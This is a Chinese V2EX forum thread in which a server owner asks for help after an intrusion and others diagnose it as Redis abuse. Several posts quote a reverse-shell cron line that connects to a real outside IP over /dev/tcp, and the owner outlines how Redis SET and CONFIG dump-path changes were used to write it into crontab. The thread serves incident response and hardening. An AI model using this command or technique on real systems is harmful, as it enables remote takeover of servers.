V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
bigbigeggs
V2EX  ›  问与答

服务器被入侵了,有懂的老铁帮忙看下,万分感谢

  •  
  •   bigbigeggs · 72 天前 · 3091 次点击
    这是一个创建于 72 天前的主题,其中的信息可能已经有所发展或是发生改变。

    crontab 的定时任务全部被清空,换成了 如下

    "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"

    删除之后,过几秒之后,又出现在了定时任务中了。

    百度了下看起来像是 反弹 shell,可以看到你在服务器的任何行为。

    现在不知道怎么解决,不知道哪个脚本在后台执行,一直写定时任务进去。

    求有懂得老铁帮忙看下

    47 条回复    2020-12-24 19:07:11 +08:00
    bigbigeggs
        1
    bigbigeggs   72 天前
    cpu,内存看起来暂时正常。不知道入侵者想干什么
    opengps
        2
    opengps   72 天前
    抓紧备份数据重装系统恢复业务。
    人工清理病毒往往很难判断是否清理彻底,所以及时你清理了病毒也很难发现是否有其他隐患。
    如果你想要研究病毒,打个系统镜像,拿到别处研究
    opengps
        3
    opengps   72 天前
    那个 IP 直接浏览器访问 80 端口,发现是个类似于 OA 签到的东西,像是一种后门脚本。
    那个 IP 的 8888 端口的站点直接访问提示不安全,看来有可能确实是某种防止滥用。
    opengps
        4
    opengps   72 天前
    太神奇了,那个站点,有备案有作者,楼主确认下是不是正常的对外扩展功能吧。
    bigbigeggs
        5
    bigbigeggs   72 天前
    @opengps 还没主意他的 ip 80 端口。感谢,已经把外网的所有端口都关掉了,直对内开放了。

    暂时还没发现入侵者的意图,把项目恢复了,先排查下问题。
    kaneg
        6
    kaneg   72 天前 via iPhone
    是个反向 shell,你的 bash 的输入输出都被对方控制了。估计除了这一个定时任务还有其他的,你这边删了,另一个任务又把它重建出来了。
    你这是哪种 Linux 系统?对外有暴露哪些端口和服务?
    bigbigeggs
        7
    bigbigeggs   72 天前
    @kaneg centos7. 暴露公网的端口还挺多,redis,mysql,8080 这种比较常用的都有。但都有密码,所以没考虑那么多。

    现在公网端口就留了几个必须用到的基础服务。
    bigbigeggs
        8
    bigbigeggs   72 天前
    @kaneg 应该还有其他定时任务在执行,但就是找不到。也不知道想干嘛
    zszhere
        9
    zszhere   72 天前 via iPhone
    这就是个反弹 shell 啊 你在对方那已经上线了
    如果没有可疑进程或者其他用户也没有 crontab 的话
    检查下你的内核是不是被挂载了 rootkit 一般用这个来做持久化权限维持
    然后检查下.ssh 目录有没有被写入公钥
    zszhere
        10
    zszhere   72 天前 via iPhone
    还有检查下 /etc/passwd 看有没有被新增用户或者被改掉密码
    WordTian
        11
    WordTian   72 天前 via Android   ❤️ 2
    我猜是 redis 对外开放造成的🐶
    bigbigeggs
        12
    bigbigeggs   72 天前
    @zszhere .ssh 真有一条公钥,吓死我了,不知道什么时候写进去的,感谢老哥提醒。我还得在排查下其他的
    bigbigeggs
        13
    bigbigeggs   72 天前
    @WordTian redis 是有对外开放的端口。但是端口不是常用的,并且有设置密码。是有项目在用 redis 塞数据,但 redis 是怎么做到 往 cront 里面写数据的? RDB 文件?
    cheng6563
        14
    cheng6563   72 天前 via Android
    不用排查了,排不全的。直接备份数据格了吧
    hakono
        15
    hakono   72 天前 via Android
    你那么多服务公开在外网,哪个服务有个安全漏洞不就中招了.......
    caola
        16
    caola   72 天前
    还不备份数据,就等删库跑路吧
    WordTian
        17
    WordTian   72 天前 via Android
    @bigbigeggs 对,rdb 文件,写公钥,覆盖 crontab 文件,常规操作了
    yuelang85
        18
    yuelang85   72 天前
    @bigbigeggs redis 可以修改配置文件和保存配置文件的路径,这样就可以在 redis 中通过保存配置文件的方法在磁盘上写文件。
    itabas016
        19
    itabas016   72 天前 via Android
    服务器不就只应该暴露 ssh/http 端口吗?这是安全常识。
    black11black
        20
    black11black   72 天前
    @WordTian 学习了,redis 对外开放还可能造成这种后果?
    steptodream
        21
    steptodream   72 天前
    感觉肯定是 redis 被黑 redis 暴露公网被黑的太多了 光是 V2EX 上就看到好几起了
    alw
        22
    alw   72 天前
    我之前 就是 redis 对外开放被黑过,当时不懂,找腾讯云提工单帮我查,定位到了是这个问题导致的。
    littlezzll
        23
    littlezzll   71 天前 via Android
    redis 暴露公网端口一定得加密码,以普通用户启动,前一阵就被 redis 那个提权漏洞搞过
    boris93
        24
    boris93   71 天前 via Android
    @opengps #3 神奇的是,8888 打开的是 OwnCloud,是个私人云盘......
    sagaxu
        25
    sagaxu   71 天前 via Android
    iptables INPUT 默认策略不该是 DROP 吗?
    PbCopy111
        26
    PbCopy111   71 天前
    妈呀,备案信息里什么都有啊。。。。我觉得楼主可以直接跟对方联系一下,备份服务器以后可以威胁报警了,哈哈哈哈。
    PbCopy111
        27
    PbCopy111   71 天前
    你们都慢点动手啊!!!!!!!给我留点时间!!
    ferock
        28
    ferock   71 天前
    一直不理解,redis 有什么必要暴露到公网???
    Dounx
        29
    Dounx   71 天前
    有备案信息,备份好服务器直接报个警?
    zszhere
        30
    zszhere   71 天前 via iPhone
    @bigbigeggs 附议 14 楼观点 别查了 查不清楚。简单点会隐藏在 系统启动项 /etc/rc*.d bash 启动项 /etc/profile.d 高级点 上 rootkit 或者改掉你的 libc.so 或者 改掉你的 curl wget 等常用二进制 还有很多骚操作 排查不清。重装吧。
    k8ser
        31
    k8ser   71 天前
    脚本小子,这你不报警抓他,一抓一个准,做好取证,警察叔叔过年都冲业绩呢!
    ericwood067
        32
    ericwood067   71 天前
    "\n* * * * *"大佬们,这个是多久执行一次,被`\n*`给搞懵了
    ztxcccc
        33
    ztxcccc   71 天前
    报警不是美滋滋
    kiracyan
        34
    kiracyan   71 天前
    这人还是个搞网络安全的 github blog 备案都有 也太不小心了
    azev
        35
    azev   71 天前
    @opengps 可能那个网站也被黑了 成肉鸡了
    iloveayu
        36
    iloveayu   71 天前
    名字,扣扣,IP 都有了,保留好证据直接报警吧,这手法还搞网安呢也是没谁了。。。
    beichenhpy
        37
    beichenhpy   71 天前 via Android
    你的 redis 是 root 用户吧
    bigbigeggs
        38
    bigbigeggs   71 天前   ❤️ 1
    感谢各位大佬的帮助以及建议,昨晚排查到快一点,今天早上又看了看,基本搞懂了。

    首先攻击者拿到了我的 redis 端口和密码(全暴露在了公网,具体还不清楚怎么搞到的)

    然后往 redis 里面写了一条数据,set x "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"

    然后利用 redis 的 conf 命令 见 RDB 文件的地址替换成了 crontab 的地址 ,日志如下:

    ![redis]( https://images.cnblogs.com/cnblogs_com/wenbochang/1355057/o_201223080258redis.png)

    然后他的这条 bash 命令就写进了 cron 定时任务里面去了。

    查了查定时任务的日志,大概在 12.9 日已经入侵了,但不知道入侵者的目的。

    ![redis]( https://images.cnblogs.com/cnblogs_com/wenbochang/1355057/o_201223080248cron.png)

    至今位置,cpu, 内存都一切正常,数据也没有丢失。但是应该数据库,redis,zk 等密码他全部获取到了。

    写到了环境变量里面去了,唉。

    晚上准备收集一下他的资料,准备和他谈谈,再次感谢各位大佬的帮助了。

    可以参考如下两篇文章,写的很详细:

    redis 入侵: https://www.cnblogs.com/evan-blog/p/10707087.html

    反弹 shell: https://www.cnblogs.com/bonelee/p/11021996.html
    bigbigeggs
        39
    bigbigeggs   71 天前
    @beichenhpy 是的,root 用户。已经肯定了是从 redis 入侵的,修改了 dump 文件目录
    bigbigeggs
        40
    bigbigeggs   71 天前
    @k8ser @ztxcccc 感觉报警有点麻烦,晚上研究下他的网址。看看能不能联系上,聊一下。
    bigbigeggs
        41
    bigbigeggs   71 天前   ❤️ 1
    @WordTian @yuelang85 确定了,是通过 redis set key,然后 conf 修改了 dump 的文件目录,大意了,唉
    InkAndBanner
        42
    InkAndBanner   71 天前
    redis 的问题 很常见 我的学生机曾经也被安排过
    bigbigeggs
        43
    bigbigeggs   71 天前
    @iloveayu 我也查到他的 qq,姓名了,准备 qq 联系一下。还没有手机号,不知道咋搞
    CodeCodeStudy
        44
    CodeCodeStudy   70 天前
    @bigbigeggs #38 反弹 shell,受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的,怎么让它在后台运行呢?我在后面加上 & 后,在攻击者机器上就看不到输入输出了。
    onice
        45
    onice   70 天前
    建议备份业务和数据,重装系统。Linux 系统可以安后门的地方太多了,比如替换某个系统文件,比如常见的 ls 命令。那么多命令,鬼才知道是替换的哪一个。
    也不是说不可以排查,但排查的成本大于重装的成本。
    bigbigeggs
        46
    bigbigeggs   70 天前
    @CodeCodeStudy linux 上定时任务,crontab 每分每秒都执行
    CodeCodeStudy
        47
    CodeCodeStudy   70 天前
    @bigbigeggs #46 Linux 上的 crontab 只能精确到分钟,怎么让它每分每秒都执行?
    关于   ·   帮助文档   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   2983 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 00:51 · PVG 08:51 · LAX 16:51 · JFK 19:51
    ♥ Do have faith in what you're doing.